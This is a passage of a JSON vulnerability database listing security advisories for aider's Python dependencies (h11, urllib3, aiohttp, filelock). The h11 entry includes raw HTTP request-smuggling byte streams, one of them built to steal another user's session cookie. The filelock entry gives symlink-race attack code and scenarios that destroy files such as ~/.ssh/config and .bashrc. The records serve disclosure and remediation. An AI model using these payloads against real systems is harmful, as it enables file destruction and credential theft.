that the trailing `\\r\\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.\n\nBy itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- more bytes of content, as many as it takes until you find a `\\r\\n`\n\nFor example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic \"read until end of line\" helper to consumes the trailing `\\r\\n`.\n\nIn this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\\r\\n`):\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX2\n45\n0\n\nGET /two HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n0\n```\n\nHere h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\\r\\n\\r\\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a \"request smuggling\" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.\n\nEven worse, if our buggy reverse proxy receives two requests from different users:\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX999\n0\n```\n\n```\nGET /two HTTP/1.1\nHost: localhost\nCookie: SESSION_KEY=abcdef...\n```\n\n...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`'s session key, potentially allowing one user to steal another's credentials.\n\n### Patches\n\nFixed in h11 0.15.0.\n\n### Workarounds\n\nSince exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.\n\n### Credits\n\nReported by Jeppe Bonde Weikop on 2025-01-09.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/python-hyper/h11/security/advisories/GHSA-vqfr-h8mv-ghfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-43859"},{"type":"WEB","url":"https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"},{"type":"PACKAGE","url":"https://github.com/python-hyper/h11"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-50181","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.84.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0) # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0)) # equivalent to the above\nhttp = urllib3.PoolManager(retries=False) # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-50182","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-48p4-8xcf-vxj5","CVE-2025-50182","PYSEC-2026-1997"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.84.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 does not control redirects in browsers and Node.js","details":"urllib3 [supports](https://urllib3.readthedocs.io/en/2.4.0/reference/contrib/emscripten.html) being used in a Pyodide runtime utilizing the [JavaScript Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) or falling back on [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest). This means you can use Python libraries to make HTTP requests from your browser or Node.js. Additionally, urllib3 provides [a mechanism](https://urllib3.readthedocs.io/en/2.4.0/user-guide.html#retrying-requests) to control redirects.\n\nHowever, the `retries` and `redirect` parameters are ignored with Pyodide; the runtime itself determines redirect behavior.\n\n\n## Affected usages\n\nAny code which relies on urllib3 to control the number of redirects for an HTTP request in a Pyodide runtime.\n\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects may remain vulnerable if a Pyodide runtime redirect mechanism is unsuitable.\n\n\n## Remediation\n\nIf you use urllib3 in Node.js, upgrade to a patched version of urllib3.\n\nUnfortunately, browsers provide no suitable way which urllib3 can use: `XMLHttpRequest` provides no control over redirects, the Fetch API returns `opaqueredirect` responses lacking data when redirects are controlled manually. Expect default browser behavior for redirects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-48p4-8xcf-vxj5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50182"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/7eb4a2aafe49a279c29b6d1f0ed0f42e9736194f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-53643","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-9548-qrrj-x5pj","CVE-2025-53643","PYSEC-2026-1104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.12.14","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":" AIOHTTP is vulnerable to HTTP Request/Response Smuggling through incorrect parsing of chunked trailer sections","details":"### Summary\nThe Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9548-qrrj-x5pj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53643"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-66418","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-66471","published":"2026-08-13T16:35:12Z","modified":"2026-09-28T17:52:05Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-68146","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-w853-jp5j-5j7f","CVE-2025-68146","PYSEC-2026-1375"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.20.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@3.20.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"3.20.3","key":"pkg:pypi/filelock@3.20.3","resource":"filelock"}]},"summary":"filelock has a TOCTOU race condition which allows symlink attacks during lock file creation","details":"### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -> None:\n ensure_directory_exists(self.lock_file)\n open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate\n if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?\n open_flags |= os.O_CREAT\n fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -> None:\n raise_on_not_writable_file(self.lock_file) # (1) Check writability\n ensure_directory_exists(self.lock_file)\n flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate\n fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file exists? → False\nT1 ↓ RACE WINDOW\nT2 Create symlink: lock → victim_file\nT3 Open lock_file with O_TRUNC\n → Follows symlink\n → Opens victim_file\n → Truncates victim_file to 0 bytes! ☠️\n```\n\n**Windows variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file writable?\nT1 ↓ RACE WINDOW\nT2 Create symlink: lock → victim_file\nT3 Open lock_file with O_TRUNC\n → Follows symlink/junction\n → Opens victim_file\n → Truncates victim_file to 0 bytes! ☠️\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\" # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\" # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n # Remove any existing lock file\n try:\n os.unlink(lock_path)\n except FileNotFoundError:\n pass\n\n # Create symlink pointing to victim file\n os.symlink(victim_file, lock_path)\n print(f\"[Attacker] Created: {lock_path} → {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire() # ← VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n struct file *f = path_lookup(pathname); // Resolves symlinks by default!\n\n if (flags & O_TRUNC) {\n truncate_file(f); // ← Truncates the TARGET of the symlink\n }\n\n return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don't Help\n\n**File permissions don't prevent this:**\n\n- Attacker doesn't need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim's* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren't always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn't prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\<100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/3.20.1"},{"type":"WEB","url":"https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"},{"type":"WEB","url":"https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69223","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-6mq8-rvhq-8wgg","CVE-2025-69223","PYSEC-2026-1101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb","details":"### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69224","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-69f9-5gxw-wvc2","CVE-2025-69224","PYSEC-2026-1099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP's unicode processing of header values could cause parsing discrepancies","details":"### Summary\nThe Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69224"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2025-69225","published":"2026-08-13T16:35:12Z","modified":"2026-09-17T19:11:20Z","upstream":["GHSA-mqqc-3gqh-h2x8","CVE-2025-69225","PYSEC-2026-1109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"},{"fixed":"0.86.2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has unicode match groups in regexes for ASCII protocol elements","details":"### Summary\n\nThe parser allows non-ASCII decimals to be present in the Range header.\n\n### Impact\n\nThere is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.\n\n----\n\nPatch: 